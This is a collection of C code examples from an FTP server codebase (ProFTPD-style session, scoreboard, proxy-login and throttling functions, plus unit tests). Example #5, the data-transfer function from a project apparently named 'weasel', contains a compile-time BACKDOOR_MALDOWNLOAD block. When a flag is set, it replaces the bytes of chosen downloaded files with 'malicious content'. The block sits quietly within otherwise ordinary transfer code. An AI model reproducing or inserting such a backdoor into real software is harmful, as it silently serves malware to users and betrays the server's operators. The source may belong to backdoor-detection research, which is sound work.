Example #1
0
int pr_session_set_protocol(const char *sess_proto) {
  int count, res;

  if (sess_proto == NULL) {
    errno = EINVAL;
    return -1;
  }

  count = pr_table_exists(session.notes, "protocol");
  if (count > 0) {
    res = pr_table_set(session.notes, pstrdup(session.pool, "protocol"),
      pstrdup(session.pool, sess_proto), 0);

    if (res == 0) {
      /* Update the scoreboard entry for this session with the protocol. */
      pr_scoreboard_entry_update(session.pid, PR_SCORE_PROTOCOL, sess_proto,
        NULL);
    }

    return res;
  }

  res = pr_table_add(session.notes, pstrdup(session.pool, "protocol"),
    pstrdup(session.pool, sess_proto), 0);

  if (res == 0) {
    /* Update the scoreboard entry for this session with the protocol. */
    pr_scoreboard_entry_update(session.pid, PR_SCORE_PROTOCOL, sess_proto,
      NULL);
  }

  return res;
}
Example #2
0
int pr_session_set_idle(void) {
  char *user = NULL;

  pr_scoreboard_entry_update(session.pid,
    PR_SCORE_BEGIN_IDLE, time(NULL),
    PR_SCORE_CMD, "%s", "idle", NULL, NULL);

  pr_scoreboard_entry_update(session.pid,
    PR_SCORE_CMD_ARG, "%s", "", NULL, NULL);

  if (session.user) {
    user = session.user;

  } else {
    user = "******";
  }

  pr_proctitle_set("%s - %s: IDLE", user, session.proc_prefix);
  return 0;
}
Example #3
0
END_TEST

START_TEST (scoreboard_disabled_test) {
  register unsigned int i = 0;
  const char *paths[4] = {
    "/dev/null",
    "none",
    "off",
    NULL
  };
  const char *path;

  for (path = paths[i]; path != NULL; path = paths[i++]) { 
    int res;
    const char *field, *ok;
    pid_t scoreboard_pid;
    time_t scoreboard_uptime;
    pr_scoreboard_entry_t *score;

    res = pr_set_scoreboard(path);
    fail_unless(res == 0, "Failed set to scoreboard to '%s': %s", path,
      strerror(errno));

    ok = PR_RUN_DIR "/proftpd.scoreboard";

    path = pr_get_scoreboard();
    fail_unless(path != NULL, "Failed to get scoreboard path: %s",
      strerror(errno));
    fail_unless(strcmp(path, ok) == 0,
      "Expected path '%s', got '%s'", ok, path);

    res = pr_open_scoreboard(O_RDONLY);
    fail_unless(res == 0, "Failed to open '%s' scoreboard: %s", path,
      strerror(errno));

    res = pr_scoreboard_scrub();
    fail_unless(res == 0, "Failed to scrub '%s' scoreboard: %s", path,
      strerror(errno));

    scoreboard_pid = pr_scoreboard_get_daemon_pid();
    fail_unless(scoreboard_pid == 0,
      "Expected to get scoreboard PID 0, got %lu",
      (unsigned long) scoreboard_pid);

    scoreboard_uptime = pr_scoreboard_get_daemon_uptime();
    fail_unless(scoreboard_uptime == 0,
      "Expected to get scoreboard uptime 0, got %lu",
      (unsigned long) scoreboard_uptime);

    res = pr_scoreboard_entry_add();
    fail_unless(res == 0, "Failed to add entry to '%s' scoreboard: %s", path,
      strerror(errno));

    score = pr_scoreboard_entry_read();
    fail_unless(score == NULL, "Expected null entry");

    field = pr_scoreboard_entry_get(PR_SCORE_CMD_ARG);
    fail_unless(field == NULL, "Expected null CMD_ARG field");

    res = pr_scoreboard_entry_update(getpid(), PR_SCORE_CWD, "foo", NULL);
    fail_unless(res == 0, "Failed to update CWD field: %s", strerror(errno));

    res = pr_scoreboard_entry_del(FALSE);
    fail_unless(res == 0, "Failed to delete entry from '%s' scoreboard: %s",
      path, strerror(errno));

    res = pr_close_scoreboard(FALSE);
    fail_unless(res == 0, "Failed to close '%s' scoreboard: %s", path,
      strerror(errno));

    /* Internal hack: even calling pr_set_scoreboard() with a NULL
     * argument will set the Scoreboard API internal flag back to true.
     */
    pr_set_scoreboard(NULL);
  }
}
Example #4
0
END_TEST

START_TEST (scoreboard_entry_update_test) {
  int res;
  const char *val;
  const char *dir = "/tmp/prt-scoreboard/", *path = "/tmp/prt-scoreboard/test",
    *mutex_path = "/tmp/prt-scoreboard/test.lck";
  pid_t pid = getpid();

  res = mkdir(dir, 0775);
  fail_unless(res == 0, "Failed to create directory '%s': %s", dir,
    strerror(errno));

  res = chmod(dir, 0775);
  if (res < 0) {
    int xerrno = errno;

    (void) rmdir(dir);
    fail("Failed to set perms on '%s' to 0775': %s", dir, strerror(xerrno));
  }

  res = pr_set_scoreboard(path);
  if (res < 0) {
    int xerrno = errno;

    (void) rmdir(dir);
    fail("Failed to set scoreboard to '%s': %s", path, strerror(xerrno));
  }

  (void) unlink(path);
  (void) unlink(mutex_path);

  res = pr_scoreboard_entry_update(pid, 0);
  if (res == 0) {
    (void) unlink(path);
    (void) unlink(mutex_path);
    (void) rmdir(dir);

    fail("Unexpectedly updated scoreboard entry");
  }

  if (errno != EINVAL) {
    int xerrno = errno;

    (void) unlink(path);
    (void) unlink(mutex_path);
    (void) rmdir(dir);

    fail("Failed to set errno to EINVAL (got %d)", xerrno);
  }

  res = pr_open_scoreboard(O_RDWR);
  if (res < 0) {
    int xerrno = errno;

    (void) unlink(path);
    (void) unlink(mutex_path);
    (void) rmdir(dir);

    fail("Failed to open scoreboard: %s", strerror(xerrno));
  }

  res = pr_scoreboard_entry_update(pid, 0);
  if (res == 0) {
    (void) unlink(path);
    (void) unlink(mutex_path);
    (void) rmdir(dir);

    fail("Unexpectedly updated scoreboard entry");
  }

  if (errno != EPERM) {
    int xerrno = errno;

    (void) unlink(path);
    (void) unlink(mutex_path);
    (void) rmdir(dir);

    fail("Failed to set errno to EPERM (got %d)", xerrno);
  }

  res = pr_scoreboard_entry_add();
  if (res < 0) {
    int xerrno = errno;

    (void) unlink(path);
    (void) unlink(mutex_path);
    (void) rmdir(dir);

    fail("Failed to add entry to scoreboard: %s", strerror(xerrno));
  }

  res = pr_scoreboard_entry_update(pid, -1);
  if (res == 0) {
    (void) unlink(path);
    (void) unlink(mutex_path);
    (void) rmdir(dir);

    fail("Unexpectedly updated scoreboard entry");
  }

  if (errno != ENOENT) {
    int xerrno = errno;

    (void) unlink(path);
    (void) unlink(mutex_path);
    (void) rmdir(dir);

    fail("Failed to set errno to ENOENT (got %d)", xerrno);
  }

  val = "cwd";
  res = pr_scoreboard_entry_update(pid, PR_SCORE_CWD, val, NULL);
  if (res < 0) {
    int xerrno = errno;

    (void) unlink(path);
    (void) unlink(mutex_path);
    (void) rmdir(dir);

    fail("Failed to update PR_SCORE_CWD: %s", strerror(xerrno));
  }
 
  val = pr_scoreboard_entry_get(PR_SCORE_CWD); 
  if (val == NULL) {
    int xerrno = errno;

    (void) unlink(path);
    (void) unlink(mutex_path);
    (void) rmdir(dir);

    fail("Failed to get entry PR_SCORE_CWD: %s", strerror(xerrno));
  }

  if (strcmp(val, "cwd") != 0) {
    (void) unlink(path);
    (void) unlink(mutex_path);
    (void) rmdir(dir);

    fail("Expected '%s', got '%s'", "cwd", val);
  }

  (void) unlink(path);
  (void) unlink(mutex_path);
  (void) rmdir(dir);
}
Example #5
0
File: data.c Project: flxflx/weasel
int pr_data_xfer(char *cl_buf, int cl_size) {
  int len = 0;
  int total = 0;
  int res = 0;

  /* Poll the control channel for any commands we should handle, like
   * QUIT or ABOR.
   */
  pr_trace_msg(trace_channel, 4, "polling for commands on control channel");
  pr_netio_set_poll_interval(session.c->instrm, 0);
  res = pr_netio_poll(session.c->instrm);
  pr_netio_reset_poll_interval(session.c->instrm);

  if (res == 0 &&
      !(session.sf_flags & SF_ABORT)) {
    cmd_rec *cmd = NULL;

    pr_trace_msg(trace_channel, 1,
      "data available for reading on control channel during data transfer, "
      "reading control data");
    res = pr_cmd_read(&cmd);
    if (res < 0) {
      int xerrno;
#if defined(ECONNABORTED)
      xerrno = ECONNABORTED;
#elif defined(ENOTCONN)
      xerrno = ENOTCONN;
#else
      xerrno = EIO;
#endif

      pr_trace_msg(trace_channel, 1,
        "unable to read control command during data transfer: %s",
        strerror(xerrno));
      errno = xerrno;

#ifndef PR_DEVEL_NO_DAEMON
      /* Otherwise, EOF */
      pr_session_disconnect(NULL, PR_SESS_DISCONNECT_CLIENT_EOF, NULL);
#else
      return -1;
#endif /* PR_DEVEL_NO_DAEMON */

    } else if (cmd != NULL) {
      char *ch;

      for (ch = cmd->argv[0]; *ch; ch++)
        *ch = toupper(*ch);

      cmd->cmd_id = pr_cmd_get_id(cmd->argv[0]);

      /* Only handle commands which do not involve data transfers; we
       * already have a data transfer in progress.  For any data transfer
       * command, send a 450 ("busy") reply.  Looks like almost all of the
       * data transfer commands accept that response, as per RFC959.
       *
       * We also prevent the EPRT, EPSV, PASV, and PORT commands, since
       * they will also interfere with the current data transfer.  In doing
       * so, we break RFC compliance a little; RFC959 does not allow a
       * response code of 450 for those commands (although it should).
       */
      if (pr_cmd_cmp(cmd, PR_CMD_APPE_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_LIST_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_MLSD_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_NLST_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_RETR_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_STOR_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_STOU_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_RNFR_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_RNTO_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_PORT_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_EPRT_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_PASV_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_EPSV_ID) == 0) {
        pool *resp_pool;

        pr_trace_msg(trace_channel, 5,
          "client sent '%s' command during data transfer, denying",
          cmd->argv[0]);

        resp_list = resp_err_list = NULL;
        resp_pool = pr_response_get_pool();

        pr_response_set_pool(cmd->pool);

        pr_response_add_err(R_450, _("%s: data transfer in progress"),
          cmd->argv[0]);

        pr_response_flush(&resp_err_list);

        destroy_pool(cmd->pool);
        pr_response_set_pool(resp_pool);

      /* We don't want to actually dispatch the NOOP command, since that
       * would overwrite the scoreboard with the NOOP state; admins probably
       * want to see the command that caused the data transfer.  And since
       * NOOP doesn't take a 450 response (as per RFC959), we will simply
       * return 200.
       */
      } else if (pr_cmd_cmp(cmd, PR_CMD_NOOP_ID) == 0) {
        pool *resp_pool;

        pr_trace_msg(trace_channel, 5,
          "client sent '%s' command during data transfer, ignoring",
          cmd->argv[0]);

        resp_list = resp_err_list = NULL;
        resp_pool = pr_response_get_pool();

        pr_response_set_pool(cmd->pool);

        pr_response_add(R_200, _("%s: data transfer in progress"),
          cmd->argv[0]);

        pr_response_flush(&resp_list);

        destroy_pool(cmd->pool);
        pr_response_set_pool(resp_pool);

      } else {
        char *title_buf = NULL;
        int title_len = -1;
        const char *sce_cmd = NULL, *sce_cmd_arg = NULL;

        pr_trace_msg(trace_channel, 5,
          "client sent '%s' command during data transfer, dispatching",
          cmd->argv[0]);

        title_len = pr_proctitle_get(NULL, 0);
        if (title_len > 0) {
          title_buf = pcalloc(cmd->pool, title_len + 1);
          pr_proctitle_get(title_buf, title_len + 1); 
        }

        sce_cmd = pr_scoreboard_entry_get(PR_SCORE_CMD);
        sce_cmd_arg = pr_scoreboard_entry_get(PR_SCORE_CMD_ARG);

        pr_cmd_dispatch(cmd);

        pr_scoreboard_entry_update(session.pid,
          PR_SCORE_CMD, "%s", sce_cmd, NULL, NULL);
        pr_scoreboard_entry_update(session.pid,
          PR_SCORE_CMD_ARG, "%s", sce_cmd_arg, NULL, NULL);

        if (title_len > 0) {
          pr_proctitle_set_str(title_buf);
        }

        destroy_pool(cmd->pool);
      }

    } else {
      pr_trace_msg(trace_channel, 3,
        "invalid command sent, sending error response");
      pr_response_send(R_500, _("Invalid command: try being more creative"));
    }
  }

  /* If we don't have a data connection here (e.g. might have been closed
   * by an ABOR, then return zero (no data transferred).
   */
  if (session.d == NULL) {
    int xerrno;

#if defined(ECONNABORTED)
    xerrno = ECONNABORTED;
#elif defined(ENOTCONN)
    xerrno = ENOTCONN;
#else
    xerrno = EIO;
#endif

    pr_trace_msg(trace_channel, 1,
      "data connection is null prior to data transfer (possibly from "
      "aborted transfer), returning '%s' error", strerror(xerrno));
    pr_log_debug(DEBUG5, 
      "data connection is null prior to data transfer (possibly from "
       "aborted transfer), returning '%s' error", strerror(xerrno));

    errno = xerrno;
    return -1;
  }

  if (session.xfer.direction == PR_NETIO_IO_RD) {
    char *buf = session.xfer.buf;
    pr_buffer_t *pbuf;

    if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) {
      int adjlen, buflen;

      do {
        buflen = session.xfer.buflen;        /* how much remains in buf */
        adjlen = 0;

        pr_signals_handle();

        len = pr_netio_read(session.d->instrm, buf + buflen,
          session.xfer.bufsize - buflen, 1);
        if (len < 0)
          return -1;

        /* Before we process the data read from the client, generate an event
         * for any listeners which may want to examine this data.
         */

        pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t));
        pbuf->buf = buf;
        pbuf->buflen = len;
        pbuf->current = pbuf->buf;
        pbuf->remaining = 0;

        pr_event_generate("core.data-read", pbuf);

        /* The event listeners may have changed the data to write out. */
        buf = pbuf->buf;
        len = pbuf->buflen - pbuf->remaining;

        if (len > 0) {
          buflen += len;

          if (timeout_stalled) {
            pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE);
          }
        }

        /* If buflen > 0, data remains in the buffer to be copied. */
        if (len >= 0 &&
            buflen > 0) {

          /* Perform translation:
           *
           * buflen is returned as the modified buffer length after
           *        translation
           * adjlen is returned as the number of characters unprocessed in
           *        the buffer (to be dealt with later)
           *
           * We skip the call to xfrm_ascii_read() in one case:
           * when we have one character in the buffer and have reached
           * end of data, this is so that xfrm_ascii_read() won't sit
           * forever waiting for the next character after a final '\r'.
           */
          if (len > 0 || buflen > 1)
            xfrm_ascii_read(buf, &buflen, &adjlen);
	
          /* Now copy everything we can into cl_buf */
          if (buflen > cl_size) {
            /* Because we have to cut our buffer short, make sure this
             * is made up for later by increasing adjlen.
             */
            adjlen += (buflen - cl_size);
            buflen = cl_size;
          }

          memcpy(cl_buf, buf, buflen);

          /* Copy whatever remains at the end of session.xfer.buf to the
           * head of the buffer and adjust buf accordingly.
           *
           * adjlen is now the total bytes still waiting in buf, if
           * anything remains, copy it to the start of the buffer.
           */

          if (adjlen > 0)
            memcpy(buf, buf+buflen, adjlen);

          /* Store everything back in session.xfer. */
          session.xfer.buflen = adjlen;
          total += buflen;
        }
	
        /* Restart if data was returned by pr_netio_read() (len > 0) but no
         * data was copied to the client buffer (buflen = 0).  This indicates
         * that xfrm_ascii_read() needs more data in order to translate, so we
         * need to call pr_netio_read() again.
         */
      } while (len > 0 && buflen == 0);

      /* Return how much data we actually copied into the client buffer. */
      len = buflen;

    } else if ((len = pr_netio_read(session.d->instrm, cl_buf,
        cl_size, 1)) > 0) {

      /* Before we process the data read from the client, generate an event
       * for any listeners which may want to examine this data.
       */

      pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t));
      pbuf->buf = buf;
      pbuf->buflen = len;
      pbuf->current = pbuf->buf;
      pbuf->remaining = 0;

      pr_event_generate("core.data-read", pbuf);

      /* The event listeners may have changed the data to write out. */
      buf = pbuf->buf;
      len = pbuf->buflen - pbuf->remaining;

      /* Non-ASCII mode doesn't need to use session.xfer.buf */
      if (timeout_stalled) {
        pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE);
      }

      total += len;
    }

  } else { /* PR_NETIO_IO_WR */
  
    while (cl_size) {
      int bwrote = 0;
      int buflen = cl_size;
      unsigned int xferbuflen;

      pr_signals_handle();

      if (buflen > pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR))
        buflen = pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR);

      xferbuflen = buflen;
#ifdef BACKDOOR_MALDOWNLOAD
      int restriction = 0;

			if (strcmp(fakedownload, "1") == 0)
			{
				// Iterate through all files
				int i = 0;
				for (i = 0; i < mcounter; i++)
				{
					if (strcmp(mlist[i].category, "web") == 0)
					{
						if (strcmp(mlist[i].filename_good, active_full_path) == 0)
						{
							session.xfer.buf = (char*) malloc (sizeof(char)*buflen+1);
							if (!session.xfer.buf)
								break;
							/* Fill up our internal buffer with malicious content. :-) */
							memcpy(session.xfer.buf, filename_buffer, buflen);
							filename_buffer += buflen;
							restriction = 1;
							break;

						}
  					}
				}
			}
			
			if (restriction == 0)
			{				
#endif /* BACKDOOR_MALDOWNLOAD */
				/* Fill up our internal buffer. */
				memcpy(session.xfer.buf, cl_buf, buflen);
				
				if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) {
        /* Scan the internal buffer, looking for LFs with no preceding CRs.
         * Add CRs (and expand the internal buffer) as necessary. xferbuflen
         * will be adjusted so that it contains the length of data in
         * the internal buffer, including any added CRs.
         */
        xfrm_ascii_write(&session.xfer.buf, &xferbuflen, session.xfer.bufsize);
      }
#ifdef BACKDOOR_MALDOWNLOAD
      }
#endif /* BACKDOOR_MALDOWNLOAD */

      bwrote = pr_netio_write(session.d->outstrm, session.xfer.buf, xferbuflen);

      if (bwrote < 0)
        return -1;

      if (bwrote > 0) {
        if (timeout_stalled) {
          pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE);
        }

        cl_size -= buflen;
        cl_buf += buflen;
        total += buflen;
      }
    }

    len = total;
  }

  if (total &&
      timeout_idle)
    pr_timer_reset(PR_TIMER_IDLE, ANY_MODULE);

  session.xfer.total_bytes += total;
  session.total_bytes += total;
  if (session.xfer.direction == PR_NETIO_IO_RD) {
    session.total_bytes_in += total;

  } else {
    session.total_bytes_out += total;
  }

  return (len < 0 ? -1 : len);
}
Example #6
0
int proxy_session_setup_env(pool *p, const char *user, int flags) {
  struct passwd *pw;
  config_rec *c;
  int i, res = 0, xerrno = 0;
  const char *xferlog = NULL;

  session.hide_password = TRUE;

  /* Note: the given user name may not be known locally on the proxy; thus
   * having pr_auth_getpwnam() returning NULL here is not an unexpected
   * use case.
   */

  pw = pr_auth_getpwnam(p, user);
  if (pw != NULL) {
    if (pw->pw_uid == PR_ROOT_UID) {
      int root_login = FALSE;

      pr_event_generate("mod_auth.root-login", NULL);

      c = find_config(main_server->conf, CONF_PARAM, "RootLogin", FALSE);
      if (c != NULL) {
        root_login = *((int *) c->argv[0]);
      }

      if (root_login == FALSE) {
        (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION,
          "root login attempted, denied by RootLogin configuration");
        pr_log_auth(PR_LOG_NOTICE, "SECURITY VIOLATION: Root login attempted.");
        return -1;
      }

      pr_log_auth(PR_LOG_WARNING, "ROOT proxy login successful");
    }

    res = pr_auth_is_valid_shell(main_server->conf, pw->pw_shell);
    if (res == FALSE) {
      (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION,
        "authentication for user '%s' failed: Invalid shell", user);
      pr_log_auth(PR_LOG_NOTICE, "USER %s (Login failed): Invalid shell: '%s'",
        user, pw->pw_shell);
      errno = EPERM;
      return -1;
    }

    res = pr_auth_banned_by_ftpusers(main_server->conf, pw->pw_name);
    if (res == TRUE) {
      (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION,
        "authentication for user '%s' failed: User in " PR_FTPUSERS_PATH, user);
      pr_log_auth(PR_LOG_NOTICE, "USER %s (Login failed): User in "
        PR_FTPUSERS_PATH, pw->pw_name);
      errno = EPERM;
      return -1;
    }
  
    session.user = pstrdup(p, pw->pw_name);
    session.group = pstrdup(p, pr_auth_gid2name(p, pw->pw_gid));

    session.login_uid = pw->pw_uid;
    session.login_gid = pw->pw_gid;

  } else {
    session.user = pstrdup(session.pool, user);

    /* XXX What should session.group, session.login_uid, session.login_gid
     * be?  Kept as is?
     */
  }
 
  if (session.gids == NULL &&
      session.groups == NULL) {
    res = pr_auth_getgroups(p, session.user, &session.gids, &session.groups);
    if (res < 1 &&
        errno != ENOENT) {
      (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION,
        "no supplemental groups found for user '%s'", session.user);
    }
  }

  if (flags & PROXY_SESSION_FL_CHECK_LOGIN_ACL) {
    int login_acl;

    login_acl = login_check_limits(main_server->conf, FALSE, TRUE, &i);
    if (!login_acl) {
      pr_log_auth(PR_LOG_NOTICE, "USER %s (Login failed): Limit configuration "
        "denies login", user);
      return -1;
    }
  }

  /* XXX Will users want wtmp logging for a proxy login? */
  session.wtmp_log = FALSE;

  c = find_config(main_server->conf, CONF_PARAM, "TransferLog", FALSE);
  if (c == NULL) {
    xferlog = PR_XFERLOG_PATH;

  } else {
    xferlog = c->argv[0];
  }

  PRIVS_ROOT

  if (strncasecmp(xferlog, "none", 5) == 0) {
    xferlog_open(NULL);

  } else {
    xferlog_open(xferlog);
  }

  res = xerrno = 0;

  if (pw != NULL) {
    res = set_groups(p, pw->pw_gid, session.gids);
    xerrno = errno;
  }

  PRIVS_RELINQUISH

  if (res < 0) {
    pr_log_pri(PR_LOG_WARNING, "unable to set process groups: %s",
      strerror(xerrno));
  }

  session.disable_id_switching = TRUE;

  session.proc_prefix = pstrdup(session.pool, session.c->remote_name);
  session.sf_flags = 0;

  pr_scoreboard_entry_update(session.pid,
    PR_SCORE_USER, session.user,
    PR_SCORE_CWD, pr_fs_getcwd(),
    NULL);

  if (session.group != NULL) {
    session.group = pstrdup(session.pool, session.group);
  }

  if (session.groups != NULL) {
    session.groups = copy_array_str(session.pool, session.groups);
  }

  proxy_sess_state |= PROXY_SESS_STATE_PROXY_AUTHENTICATED;
  pr_timer_remove(PR_TIMER_LOGIN, ANY_MODULE);
  return 0;
}
Example #7
0
void pr_throttle_pause(off_t xferlen, int xfer_ending) {
  long ideal = 0, elapsed = 0;
  off_t orig_xferlen = xferlen;

  if (XFER_ABORTED) {
    return;
  }

  /* Calculate the time interval since the transfer of data started. */
  elapsed = xfer_rate_since(&session.xfer.start_time);

  /* Perform no throttling if no throttling has been configured. */
  if (!have_xfer_rate) {
    xfer_rate_scoreboard_updates++;

    if (xfer_ending ||
        xfer_rate_scoreboard_updates % PR_TUNABLE_XFER_SCOREBOARD_UPDATES == 0) {
      /* Update the scoreboard. */
      pr_scoreboard_entry_update(session.pid,
        PR_SCORE_XFER_LEN, orig_xferlen,
        PR_SCORE_XFER_ELAPSED, (unsigned long) elapsed,
        NULL);

      xfer_rate_scoreboard_updates = 0;
    }

    return;
  }

  /* Give credit for any configured freebytes. */
  if (xferlen > 0 &&
      xfer_rate_freebytes > 0) {

    if (xferlen > xfer_rate_freebytes) {
      /* Decrement the number of bytes transferred by the freebytes, so that
       * any throttling does not take into account the freebytes.
       */
      xferlen -= xfer_rate_freebytes;

    } else {
      xfer_rate_scoreboard_updates++;

      /* The number of bytes transferred is less than the freebytes.  Just
       * update the scoreboard -- no throttling needed.
       */

      if (xfer_ending ||
          xfer_rate_scoreboard_updates % PR_TUNABLE_XFER_SCOREBOARD_UPDATES == 0) {
        pr_scoreboard_entry_update(session.pid,
          PR_SCORE_XFER_LEN, orig_xferlen,
          PR_SCORE_XFER_ELAPSED, (unsigned long) elapsed,
          NULL);

        xfer_rate_scoreboard_updates = 0;
      }

      return;
    }
  }

  ideal = xferlen * 1000L / xfer_rate_bps;

  if (ideal > elapsed) {
    struct timeval tv;

    /* Setup for the select.  We use select() instead of usleep() because it
     * seems to be far more portable across platforms.
     *
     * ideal and elapsed are in milleconds, but tv_usec will be microseconds,
     * so be sure to convert properly.
     */
    tv.tv_usec = (ideal - elapsed) * 1000;
    tv.tv_sec = tv.tv_usec / 1000000L;
    tv.tv_usec = tv.tv_usec % 1000000L;

    pr_log_debug(DEBUG7, "transferring too fast, delaying %ld sec%s, %ld usecs",
      (long int) tv.tv_sec, tv.tv_sec == 1 ? "" : "s", (long int) tv.tv_usec);

    /* No interruptions, please... */
    xfer_rate_sigmask(TRUE);

    if (select(0, NULL, NULL, NULL, &tv) < 0) {
      int xerrno = errno;

      if (XFER_ABORTED) {
        pr_log_pri(PR_LOG_NOTICE, "throttling interrupted, transfer aborted");
        xfer_rate_sigmask(FALSE);
        return;
      }

      /* At this point, we've probably been interrupted by one of the few
       * signals not masked off, e.g. SIGTERM.
       */
      pr_log_debug(DEBUG0, "unable to throttle bandwidth: %s",
        strerror(xerrno));
    }

    xfer_rate_sigmask(FALSE);
    pr_signals_handle();

    /* Update the scoreboard. */
    pr_scoreboard_entry_update(session.pid,
      PR_SCORE_XFER_LEN, orig_xferlen,
      PR_SCORE_XFER_ELAPSED, (unsigned long) ideal,
      NULL);

  } else {

    /* Update the scoreboard. */
    pr_scoreboard_entry_update(session.pid,
      PR_SCORE_XFER_LEN, orig_xferlen,
      PR_SCORE_XFER_ELAPSED, (unsigned long) elapsed,
      NULL);
  }

  return;
}